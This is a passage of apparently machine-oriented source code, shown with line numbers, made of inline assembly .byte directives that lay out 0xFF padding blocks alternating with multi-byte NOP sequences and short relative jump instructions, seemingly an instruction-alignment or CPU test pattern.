0xFF, 0xFF \t\n\ 290 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 291 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 292 | \t\n\ 293 | \t\n\ 294 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 295 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 296 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 297 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 298 | \t\n\ 299 | \t\n\ 300 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 301 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 302 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 303 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 304 | \t\n\ 305 | \t\n\ 306 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 307 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 308 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 309 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 310 | \t\n\ 311 | \t\n\ 312 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 313 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 314 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 315 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 316 | \t\n\ 317 | \t\n\ 318 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 319 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 320 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 321 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 322 | \t\n\ 323 | \t\n\ 324 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 325 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 326 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 327 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 328 | \t\n\ 329 | \t\n\ 330 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 331 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 332 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 333 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 334 | \t\n\ 335 | \t\n\ 336 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 337 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 338 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 339 | \t\n\ 340 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 341 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 342 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 343 | \t\n\ 344 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 345 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 346 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 347 | \t\n\ 348 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 349 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 350 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 351 | \t\n\ 352 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 353 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 354 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 355 | \t\n\ 356 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 357 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 358 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 359 | \t\n\ 360 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 361 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 362 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 363 | \t\n\ 364 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 365 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 366 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 367 | \t\n\ 368 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 369 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 370 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 371 | \t\n\ 372 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 373 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 374 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 375 | \t\n\ 376 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 377 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 378 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 379 | \t\n\ 380 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 381 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 382 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 383 | \t\n\ 384 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 385 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 386 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 387 | \t\n\ 388 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 389 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 390 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 391 | \t\n\ 392 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 393 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 394 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 395 | \t\n\ 396 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 397 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 398 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 399 | \t\n\ 400 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 401 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 402 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 403 | \t\n\ 404 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 405 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 406 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 407 | \t\n\ 408 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 409 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 410 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 411 | \t\n\ 412 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 413 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 414 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 415 | \t\n\ 416 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 417 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 418 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 419 | \t\n\ 420 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 421 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 422 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 423 | \t\n\ 424 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 425 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 426 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 427 | \t\n\ 428 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 429 | .byte 0xE9, 0x0c, 0x01, 0x00, 0x00 \t\n\ 430 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 431 | \t\n\ 432 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 433 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 434 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 435 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 436 | \t\n\ 437 | \t\n\ 438 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 439 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 440 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 441 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 442 | \t\n\ 443 | \t\n\ 444 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 445 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 446 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 447 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 448 | \t\n\ 449 | \t\n\ 450 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 451 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 452 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 453 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 454 | \t\n\ 455 | \t\n\ 456 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 457 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 458 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 459 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 460 | \t\n\ 461 | \t\n\ 462 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 463 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 464 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 465 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 466 | \t\n\ 467 | \t\n\ 468 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 469 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 470 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 471 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 472 | \t\n\ 473 | \t\n\ 474 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 475 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 476 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 477 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 478 | \t\n\ 479 | \t\n\ 480 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 481 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 482 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 483 | \t\n\ 484 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 485 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 486 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 487 | \t\n\ 488 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 489 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 490 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 491 | \t\n\ 492 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 493 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 494 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 495 | \t\n\ 496 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 497 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 498 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 499 | \t\n\ 500 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 501 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 502 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 503 | \t\n\ 504 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 505 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 506 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 507 | \t\n\ 508 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 509 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 510 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 511 | \t\n\ 512 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 513 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 514 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 515 | \t\n\ 516 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 517 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 518 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 519 | \t\n\ 520 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 521 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 522 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 523 | \t\n\ 524 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 525 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 526 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 527 | \t\n\ 528 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 529 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 530 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 531 | \t\n\ 532 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 533 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 534 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 535 | \t\n\ 536 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 537 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 538 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 539 | \t\n\ 540 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 541 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 542 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 543 | \t\n\ 544 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 545 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 546 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 547 | \t\n\ 548 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 549 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 550 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 551 | \t\n\ 552 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 553 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 554 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 555 | \t\n\ 556 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 557 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 558 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 559 | \t\n\ 560 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 561 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 562 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 563 | \t\n\ 564 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 565 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 566 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 567 | \t\n\ 568 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 569 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 570 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 571 | \t\n\ 572 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 573 | .byte 0xE9, 0x0c, 0x01, 0x00, 0x00 \t\n\ 574 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 575 | \t\n\ 576 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 577 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 578 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 579 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 580 | \t\n\ 581 | \t\n\ 582 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 583 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 584 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 585 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 586 | \t\n\ 587 | \t\n\ 588 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 589 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 590 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 591 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 592 | \t\n\ 593 | \t\n\ 594 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 